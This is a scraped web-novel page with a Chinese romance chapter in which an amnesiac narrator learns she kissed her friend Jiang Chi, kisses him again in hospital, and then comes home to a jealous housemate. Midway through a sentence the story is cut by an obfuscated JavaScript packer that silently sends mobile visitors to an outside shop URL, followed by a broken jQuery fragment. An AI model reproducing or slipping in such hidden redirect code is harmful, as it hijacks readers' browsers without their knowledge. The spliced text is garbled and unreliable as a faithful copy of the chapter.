文趣网 > 其他小说 > 我问疯AI后,被三个大佬缠上了 > 40. 你忘记了,我们已经。。
    我这时才想起来要问正事:“我怎么会在医院呢?”

    话刚出口,脑袋里就像被塞进了一台正在脱水的洗衣机。

    “嘶——”

    我按住太阳穴,痛得龇牙咧嘴,“我的头好痛……”

    江驰立刻像被踩了尾巴一样弹起来:“我去叫护士!”

    我一把拽住他衣角:“不用了,我还有稿件要写,而且言应该还在家里等我……”

    江驰反手按住我的肩膀,语气温柔得能掐出水:“以防万一,还是检查一下吧。可以出院再出去。”

    我一脸奇怪地看着他。

    不对劲。

    十分有十二分的不对劲。

    以前我要是住院,这货的标准台词应该是“祸害遗千年”或者“666,狗果然比人好养活”。

    现在这个温柔小意、嘘寒问暖的版本是哪个皮肤?

    我语气凝重:“说吧,你做了什么对不起我的事?”

    江驰却一脸郑重地看着我,眼神深沉得像潭死水:“有的。”

    “你忘记了。”

    “你亲过我。”

    我:?!?!

    什么玩意儿?!

    我掏出手机,刚想给疯狗发消息吐槽江驰终于疯了的时候,目光扫过屏幕右上角的日期。

    23号。

    不是1号吗???

    我震惊地抓住江驰的手腕,指甲都快嵌进他肉里:“等等等等!今天是23号?!我……嘶,到底发生了什么?!”

    刺痛再次袭来,像有人拿锥子在我脑仁上钻孔。

    怎么什么都想不起来了?!

    江驰心疼地一把将我搂进怀里,下巴抵着我发顶,声音闷闷的:“阿叙,有我在,别担心……”

    我心头一跳。

    不自在地推开他,搓了搓胳膊上的鸡皮疙瘩:“我知道了知道了,你真肉麻……”

    医生诊断结果是头部受创导致的逆行性遗忘,需要留院观察两天。

    于是接下来的48小时,我体验了一把什么叫“帝王级看护”。

    粥是一口一口喂的(他强迫的,我不张嘴他就举着勺子跟我耗,眼神悲壮得像在喂临终病人);鸡汤是他亲手熬的(味道难评,咸得像海水煮皮鞋,但我看着他眼底的红血丝,硬着头皮喝了个精光)。

    最离谱的是,言说要来看我,被挡在门外了。

    学长本来也想来,结果江驰不知道用了什么手段,给他公司塞了一堆紧急项目,忙得连喝水的时间都没有。

    唯一让我觉得诡异的是——

    学长跟我说话的语气变了。

    比以前亲昵了不止一个度。

    “小叙,好好休息。”“小叙,乖乖听话。”“小叙,我想你了。”

    我翻遍聊天记录,发现自己前两天开始就和学长没大没小、腻腻歪歪,可脑子里愣是一点印象都没有。

    就好像有人把我人生剪辑了一段,还顺手把关键片段删了。

    江驰适时拿走我的手机,塞进自己口袋:“别看了,明天就回家了,早点休息。”

    我坐在病床上,仰头看他。

    灯光从他身后打过来,在他脸上投下一片暧昧的阴影。

    我终于认真地开口:“你前天说的话,不是开玩笑的吧?”

    “我真的亲了你?”

    江驰眼神一暗。

    病房里安静得可怕,只能听见两道交错的心跳声。

    他一步步逼近,单手撑在我耳侧的枕头上,将我困在病床和他胸膛之间。

    眸底翻涌着毫不掩饰的占有欲,像一头终于等到猎物落网的兽。

    “要确认看看吗?”

    我:“你——”

    话音未落,唇已被封住。

    熟悉又陌生的触感。

    温热、柔软、带着淡淡的薄荷味。

    我本能地想推开他,指尖抵上他胸膛的瞬间,脑海里突然炸开一个画面——

    江驰站在昏暗的灯光下,眼神痛苦又受伤地看着我。

    那一眼,像针一样扎进心脏。

    紧接着,这两天他悉心照顾的一幕幕如潮水般涌来:笨拙地吹凉粥、半夜惊醒摸我额头、熬汤时烫红了手背却一声不吭……

    理智的堤坝轰然倒塌。

    我环住他的脖颈,闭上眼,回应了这个吻。

    不知道是什么心态。

    只是沉溺于这一刻的温度,任由某种陌生的、滚烫的情绪将理智一点点蚕食殆尽。

    直到我们都气喘吁吁地分

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17902214|212963||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    开。

    他粗重的喘息拂在我耳畔,烫得惊人。

    两张脸都红透了,像煮熟的虾。

    我:“……我。”

    还没等我把话说完,江驰已经慌乱地后退三步,左脚绊右脚,差点被床边的折叠凳当场单杀。

    “哐当——”

    凳子倒地,人也踉跄着撞到墙。

    我忍不住笑出声。

    他却深吸一口气,坚定地折返回来,俯身在我唇上又啄了一下,然后转身夺门而出,背影狼狈得像只偷吃被抓的猫。

    我躺在床上,盯着天花板,缓缓吐出一个字:

    “……6。”

    ……

    第二天出院回家。

    推开门就看见言正围着浅灰色围裙站在厨房里,手里捏着锅铲,灶台上摆着切好的蔬菜和咕嘟冒泡的汤锅。

    灯光暖黄,蒸汽氤氲。

    人夫感简直要溢出屏幕。

    他听到动静转过头,灰蓝色的眸子亮起一点光,刚要开口打招呼——

    视线越过我肩膀,落在了跟在我后面的江驰身上。

    江驰咧嘴一笑,热情洋溢:“哟!”

    “啪!”

    言手里的菜刀直直拍在案板上。

    力道之大,连砧板都震了三震。

    空气瞬间凝固。

    我看看言那张平静如常、实则杀气暗涌的脸,又看看江驰那副浑然不觉死期将至的笑脸。

    默默往旁边挪了半步。

    这俩人之间的磁场,比我失忆的脑子还混乱。

    言放下锅铲,语气平稳得像在播报天气:“回来了。”

    顿了顿,目光扫过江驰,补充一句:“客人也来了。”

    “客人”两个字咬得格外清晰。

    江驰浑然不觉,还傻乎乎地凑过去:“言哥做饭呢?好香啊!我能尝尝吗?”

    言微微一笑:“可以。”

    “不过这把刀刚磨过,切肉特别利索。”

    他指尖轻轻抚过刀刃,银光一闪。

    “你要不要先试试手感?”

    江驰:“……”

    我终于忍不住扶额。

    完了。

    这顿饭怕是吃不成了。

    (未完待续)